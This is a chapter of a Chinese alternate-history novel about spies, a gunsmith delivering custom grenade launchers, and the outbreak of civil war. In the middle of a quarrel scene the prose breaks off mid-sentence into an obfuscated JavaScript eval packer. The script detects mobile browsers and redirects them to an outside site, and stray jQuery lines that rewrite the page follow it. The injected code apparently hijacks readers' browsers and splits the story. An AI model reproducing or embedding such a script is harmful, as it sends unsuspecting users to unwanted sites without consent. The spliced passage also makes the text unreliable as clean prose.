小栗晃大。
书房中,玉关柳听到这个名字时笔尖一抖,团扇上夜鹭小小一只红红的眼便晕成一大团腮红。
严雪辕像往常一样把重新转译的密信给母亲读出来,读到这个名字时立刻注意到她的异样:“妈?”
玉关柳放下笔,伸手接过译件自己看。
江南革命协会在六月二十一日的暴.动失败后,引动各方势力震荡。乔璃连夜派信,动用一点点铺就的关系网,试图从当夜逮捕又不得不释放的霓国浪人犬塚平这条线,挖掘出他背后的小栗晃大的背景。
“我知道这个人。”玉关柳垂眸注视自己放在书桌上的两只手,“他原本是霓国成立的满东总督府位于奉天的宪兵队分队长,之后连连升任,迁至海市宪兵大佐。乔璃想查,查他明面上的身份是没有用的。”
手里握着玉关柳一半情报系统的严雪辕皱眉:“妈你是不是记错了,小栗晃大只是个中佐。”
玉关柳淡淡道:“小栗晃大是中佐,‘特别课’的保坂拓是大佐,这两人是同一人。”
严雪辕悚然一惊:比起公使、宪兵队和流蹿各地的浪人,“特别课”并不是一个广为人知的部门。它在霓国是一个主要针对内部政治活动的特务团体,背后站着侵略激进派。
小栗晃大,或者说保坂拓,如果在新华国也顶着特别课的头衔,则意味着他所进行的大多是暗不见光的秘密活动。
“明面上,霓国支持盟同会,而元府背后有英吉利与美联盟,但这只是明面而已。私下里,类似保坂拓的人则不断挑拨盟同会与元府的关系,促成内战。”
更让严雪辕惊讶的是,无论是她还是父亲严树明,都不知道玉关柳曾把她手里的可用之人派出去,长期监视保坂拓的每一个动向。
她不知道,如果不是保坂拓牵扯上乔璃的计划,她可能会继续把这份不为人知的调查进行下去。
直到抽丝剥茧,剥出此人的弱点为止。
“这个人浑身是事,动他一下,不知道有多少个势力会探头。我会亲自带人去扬州,同乔璃谈。”
不过半刻钟,玉关柳就完全恢复平日的闲常慵懒,支颐翻看手中信。
熟知她话中含义的严雪辕脸色有点难看:“妈不打算带我去江宁?”
“辕儿,你是妈最信任的人,不留你在这里我怎么能放心?何况江宁危险,是要命的事。”玉关柳难得温情地摸了摸女儿的脸,“家里那个猫孩也练出来了,我这回带他作保镖,养他本来就是做这个的。”
严雪辕心里还是难受,但玉关柳做下决定后难有人能置喙。撇开保坂拓不谈,还有一个分量更重的名字在信件中来往——张巡。
南北对战初有苗头时,乔璃就找上玉关柳,将她与裴宗邺反反复复盘算过的局势或直接、或间接铺陈在这位狡诈如狐的盟友面前。
南赣、江吴是盟同会盘踞之地,也是元府将要进攻的两个主要目标。南赣更重,元府军必然要派心腹大将率兵围剿,而江吴一路,元府未必有足够直属部团填进去。
这意味着,张巡的属军必然要冲前顶上。
判断时局并不是一件多复杂的事,沙盘上的执掌者无论在眼光、胆气还是手段上都早已丧失年轻时的锋锐,现在不过是一个被无尽贪欲蒙蔽双眼的怪物。
乔璃已确定要在江吴同裴宗邺一道备军,而她在海市铺开的商业网络正在有条不紊地攫取利益,海外投资也从持续亏钱扭转成损益持平,这就少了几个吞金的窟窿,可以全部投入教立团。
而对玉关柳来说,张巡会在江吴出兵的消息就像打响冲刺前的发令枪,让她倾尽全力作为后勤支持乔璃。有这样一个能人辅助,无论是九天还是其它明面或隐秘的生意,都像加满了油的齿轮,利润不断创下新高。
与之前和严树明商量过的相反,她本人不打算置身事外。以她如今的身份,再不需仰仗枕边人的助力,而是以玉关柳的身份,同乔璃举事。
玉关柳沉默得久了一点,引起严雪辕的不安,她冲女儿安抚性地笑了笑。
历练多年,其实过往的所谓仇恨对玉关柳来说已经没有那么重要,闭眼入睡时也少了许多血光弥漫的梦。但复仇的念想毕竟还在,在日复一日中化作比执念还要顽固的存在,是一根支撑她从泥泞中挣起的脊骨。
那是一段可以放下却无法遗忘的过往,她连对枕边人、对女儿都没有说过实话,只有半真半假的谎言。
因为它完全是我的东西。玉关柳想。仇恨恐怕是从奉天逃出时唯一带出来的属于她自己的东西,孤身一人,就连名字也不复存在。
其实从前也有一瞬间,她想把这唯一属于自己的东西交付给某个人。
虽然这份可能早已被她亲手砸碎了。
“雪辕,帮我备车,我要去见吴铁音。”
------------------------------------------------------
被很多人在心里惦记着的吴铁音,正在重复自己千篇一律又格外重要的一天。
千篇一律是因为她每日做的事情都差不多,格外重要,则是指每日重复积累下来的结果无人能比。
她所任职的江南制造局是一个被渐渐忽视的兵工厂,几十年前还是承造军备追赶西洋的中心,元府登台后大部分功能重心转移到造船技术,原来研究军械的功能则慢慢没落。
自从裴宗邺擢升上校后,名头虽然是江南制造局总办,最重要的造船所仍掌握在元府心腹将领手中。由他总领的制造局无论在规模、技工水准还是设备完善度上都逊于造船所,但生产驳壳枪还是绰绰有余。
真让人挤破了头也要进的,是设立在港口的江南造船所,那里才是整个海市、乃至元府军的军备核心。
正因如此,如伏娴这种前矿厂大王遗孀的身份,也可以在制造局领一个不大不小的职位,负责改良水准不佳的步枪设计图。而因为领导是女人,吴铁音也顺理成章被安排带领十来个手熟的工人,占一条小小的流水线。
在制造局数十个领空饷的职员中,吴铁音只是一个按时点卯的小工头,默默无闻做事,没什么人在意。
只有极少数人才知道由她总领制造的,并不是改良后的步枪,而是一种普通人很难理解、甚至有些反直觉的武器——继“伯劳”后,又生产出两把名为“秃鹫”的榴.弹发射器,专门供给“嘲鸫”暗杀小队。
该种武器的原理,只有她与乔璃二人明白,而当时吴铁音一看到图纸,便无法自抑地沉迷进去。
“枪”只是载托,子弹则作为武器自成一体,通过特殊处理将杂音降至最低,令人难以通过声学反推射击位置。换成榴.弹则更进一步,其中蕴含的技术概念超脱几十年,是仅适合特殊情况、注定无法批量生产的武器,每一个零件的精度要求都超乎想象,几乎可称为冰冷的机械艺术。
所谓“朝闻道,夕死可矣”,这种感受只有亲历过的人才会理解。
任外界风雨如何飘摇,属于她的这一小片机械天地,格外安稳又纯粹。
如之前重复的很多个下午,一道沉稳清亮的声音从机械厂的一角传来:“这部分零件就交给你试手,它们不算特别复杂,但承担着链接前后的作用。对于每一个经手的零件,还记得我怎么教你的?”
接话的是一个稍嫌稚嫩、一听就是年轻小姑娘的声音:“差之毫厘,谬以千里。”
“很好,只要你一日还在做机工,就要一日记住我的话。”
手下带过十数学徒后,最得吴铁音心的人,居然是青龙的养女雁儿。
和别人想象的不同,吴铁音虽然在枪械制造方面有无与伦比的天赋,本人却完全不吝于将本事传授给旁人,就像手把手教她技艺的李老,也从未把什么“传男不传女”的封建糟粕放在心里。
大概在这个心思一如既往纯粹的老人心中,能传男却不能传女的技艺,肯定在哪里是有缺陷的。一种终将断绝的东西,并不值得费力流传。
话虽如此,造枪这种掺了物理与数学知识的技艺,到底还是吃天赋。并不是说乔璃给出图纸,就能够一比一把武器复刻。该选择何种材料,成本能不能尽力降低,以及如何根据未来使用者进行改良……其中还有数不清的技术难题需要攻克。
也正因为如此,唯有天才如吴铁音,才能在乔璃划定的时间内没日没夜地赶工,最终交出近乎完美的成果。
在乔璃并未明确反对的前提下,哪怕与她合作的几方都迫切想弄清她究竟藏了什么新东西,尤其是她手中那条最关键、也最敏感的造枪线,派去试探的人也只能无功而返。
裴宗邺从一开始就没指望插手太多,但他与孟彩霞等人的想法并无二致,即便无法理解乔璃的全部计划,作为合作者,至少也该掌握一定的信息,或让自己的人参与其中。这既是知情的需要,也是多方合作中必不可少的制衡方式。
但最后的人选,是谁也想不到的雁儿。
雁儿年龄虽小,日常行为已表现出符合吴铁音严格要求的素质:旺盛的好奇心,让吴铁音惊喜的理解力,还有跟青龙做事培养出来的远超同龄人的敏锐与冷静。
这反倒把难题反抛给裴宗邺:且不说她是青龙的养女,一想要让个小姑娘使手段通风报信,难免心生抵触,他还没那么下作。
这些势力间的弯弯绕绕并不需要吴铁音来担心,她出力的前提就是尽可能远离人心世故,只沉溺于这种不断创造新事物的快乐就行。
所以玉关柳来的时候,收到吴铁音格外不满的一瞥也不是什么很难理解的事情。
玉关柳望着这个对她来说很陌生的工厂,到处都是她没见过的机械,没听过的噪音还有不太好闻的气味。
吴铁音站在操作台前,身上穿着深蓝的工服,两只袖套紧紧束着手臂,头发向后扎起,油光水滑得像个海豹。旁边还有工作用帽,她们没在做正经工作,暂时摘下透气。
玉关柳不是第一次看见她这副模样,却还是在一种微妙的怔然中沉默下去。
吴铁音倒觉得两人话不投机半句多,一面让雁儿休息去玩,一面对玉关柳点头充作寒暄,开口就是正事:“‘秃鹫’已经做成,共有两把发射器,六枚榴.弹,我已把该注意的要点总结成册,你带给乔璃就是。”
东西提前装在两只形似琴盒的木箱里,等待首次正式使用。
玉关柳看着面前冷硬铁黑的武器,还有吴铁音数日未得好睡、青黑似食铁兽的眼圈,蜷起的手指捏紧:“你现在也是制武器的一个好手了。乔璃有带兵的底气,大半要仰仗于你。”
吴铁音抬头,冷冷地抛去一个眼光,并不说话。
玉关柳也冷冷回看:“我只是疑惑,你该不会不知道这些东西会被用在什么地方罢?还是你也变了许多,为一些庸人的功名利禄,甘愿做一个刽子手了?”
吴铁音当然听出了玉关柳的言下之意:既然能造杀人的枪弹,又为何一直在意她曾害死过人?
过去那小生虽然因她而死,但她玉关柳可不是杀害他的人,只是对方碰到的是霓国人,命该如此罢了!
“哈!”
吴铁音突然一笑,笑声中有十足的讽意,紧盯着玉关柳的眼,一字一顿道:“会问出这样的问题,说明你玉关柳,根本不了解我吴铁音。”
玉关柳面色一愕,又一怒,“啪”的一声拍在木盒上:“我不了解你,我了解乔璃,她与我也没有什么不同,都是冷心冷肺的狠毒人。周莲泱待她如何?她不过把他当一个金丝雀样的玩物。裴大董么,也只是一颗召之即来挥之即去的棋子,你又以为自己能落着什么好?”
对面的女人目光灼灼,势必要问出一个答案,可吴铁音已经彻底懒怠与她争出个对错:“她与你不一样。你从不了解我,也不能了解她。”
玉关柳脸上立刻蒙上一层铅沉沉的云,教吴铁音看着,略有些寡淡的五官都怒得狰狞起来。
吴铁音记忆力从来就好,便记起印象中上一次对方有如此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035646|172195||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生动的表情,还是二十成花魁,一曲红绡不知数的风华灿烂之时。
物是人非。
吴铁音低声道:“帮乔璃做什么事,做到什么程度,我并不需要同你解释。”
她难道不知道这些造出的枪械,最大可能是对准自己的同胞?背负恶名和承担人命的觉悟,她在许下承诺时就已经做好。
在玉关柳的认知中,乔璃的本性与她并没有什么不同,这点吴铁音不会否认,但两人带来的结果却是截然不同的。所谓差之毫厘,谬以千里。
——“问题不在于我个人,或是追随于我的人,究竟能达到怎样的上限。最后我们能登上多高的位置,攫取多少利益,这些都不是我最感兴趣的。我真正想要抬高的,是下限,也是容错率。
不仅是女性最终能够取得何种成就,还有在她们无法取得成就时,也不至于沦落到凄惨耻辱无路可走的境地。无论是拼尽全力向上攀爬,还是依附他人、以寄生的方式活着,当她们犯下无法挽回的错误时,至少仍然留有缓冲与回旋的余地。”
记忆中,年轻的首领语气平静,像是在解剖一件与自身并无太多牵连的事实。
——“我当然算不上普世意义上的好人。可音姐大概也不会天真到认为,仅凭嘴皮子就能换来真正的话语权。言辞纲领本身是没有实际效用的,若想达成目的,有些时候流血无法避免。
既然最终指向的结果是好的,那么像我这样的人能够从流血之中获得某种乐趣……这种细枝末节大概也就无关紧要了罢。”
玉关柳并不知晓两人曾有的对话,她脸色极为苍白,隐有杀气:“……你会后悔的。”
吴铁音兀然一笑,笑意淡而温和:“也许吧。只是现在你该做的事,是把‘秃鹫’交到乔璃手里。”
玉关柳愤然离去,脚步卷起一阵腥风,似乎战争已近在咫尺了。
吴铁音望着她的背影,知晓自己不会踏入战场,但她手里流出的东西会将一个个无辜或不无辜的生命送入死地。
这事实会永远啃噬她的心,钻入每一个梦境,成为一种永恒的折磨。
但她并不后悔。
她也曾年轻气盛,也曾做出一些如今看来或许存在更优解的选择,可她不后悔。
若一定要追溯什么,并非她曾判断失误,而是当时对方手中仅有一根蛛丝可握,她还不够强大到能给出另一个选择。
------------------------------------------------------
曾经的旧友不欢而散后,很快,七月上旬,南赣就公开宣布不再听从京城元府的命令,转而另起炉灶。
曾被云艳从暗杀者手中保下、亦是盟同会骨干之一的秋玉泉,更亲自撰写檄文,广发报纸,逐条陈列元宫保十大罪状。其中重点,落在宋案中所展现的阴狠手段,以及签订六国合约、出卖主权的卖国行径。
这一行为,彻底捅/爆了元府这只马蜂窝。
在乔璃等人的预料之中,元府军果然兵分两路,心腹军向南赣倾数而去,剩下的张勋属军磨刀霍霍向江吴。
而江吴的总督林兴平,在独立之声越来越响、又听闻张巡属军南下后,竟然慌不择路地弃府而去,奔往海市躲事。
临危受命的司令官坚决不肯反抗元府,在某一月黑风高之夜,被某一反元秘密协会暗杀于住宅之中。
这下,江吴的核心官府无一人敢当出头鸟,战力最强的第十师和第十一师被迫表明立场,旗帜鲜明力挺仇冀。
玉关柳就在这种紧张至极的气氛中,带着该带的人与物,踏入久睽不见的江宁。
商女不知亡国恨,隔江犹唱后//庭花。
河水潺潺而去,千古月照秦淮。玉关柳一时分不清虚实,只觉那凭栏卖唱的章台柳,竟生着一张与自己一模一样的面庞。
“你到这里,可再没有折回去的机会了。”
半晌,女人回首,看向柳荫下身形清肃的青年。
玉关柳脸上的神色,周莲泱看不清,或许也看不懂,但他本能地理解了她:这条秦淮河水,见证无数风雨,也淹没无数鲜花似锦的生命。
江宁一战,又要死去多少人?
一个个念头在周莲泱心头掠过,最后,他只轻轻地说出一句话:“没能同生,共死也是佳话。”
玉关柳微顿,神情似嗔似怒:“倒也不至于现在就想这种事。小莲儿,你是个痴情种,可她……”
不等说完,她自己就没意思地收了声。
一行人在约定的地点等了一刻钟,很快就有几个人靠近,玉关柳抬头,一愕:“来的果然是小翠儿,只是你怎么这副表情?”
领头的正是柴凌翠,她拿着乔璃的手牌,要把人迎进军中。
不怪玉关柳惊讶,历练后越来越沉稳的柴凌翠,罕见会露出这种像吞了一只麻雀又堵在胸口咽不下的怪异表情。
简短的招呼过后,在玉关柳的追问下,柴凌翠嗫嚅片刻,才吞吞吐吐道:“也没什么,是乔璃她……病了两日。”
见周莲泱面有急色,她连忙继续:“也不是病,是练兵劳累,现在已好了。”
这安慰不了他:“翠姐也知道她以前身体不好,病了两日,到底怎么回事?”
柴凌翠看着他眼中掩不下的忧急,忙道:“她长得太快,又太累,经期不适,多歇两日就没事了。”
单纯只是这样,柴凌翠不该露出这样的神色。玉关柳心思一转,问:“她这病是不是还牵扯了别的什么?”
柴凌翠叹道:“军中俱运转正常,只是乔璃与裴……师长,气氛有些怪异。具体的事我也说不好,反正你们见了别多嘴。”
这话一出,干硬硬地落入半空,两道视线同时落向微愣的周莲泱。
“……翠姐看错了罢,这两人一月相处,说不定多么蜜里调油,又怎么会气氛怪异。”
青年微微别着脸,不肯看旁人,声音闷闷的:“谁敢多嘴呢。”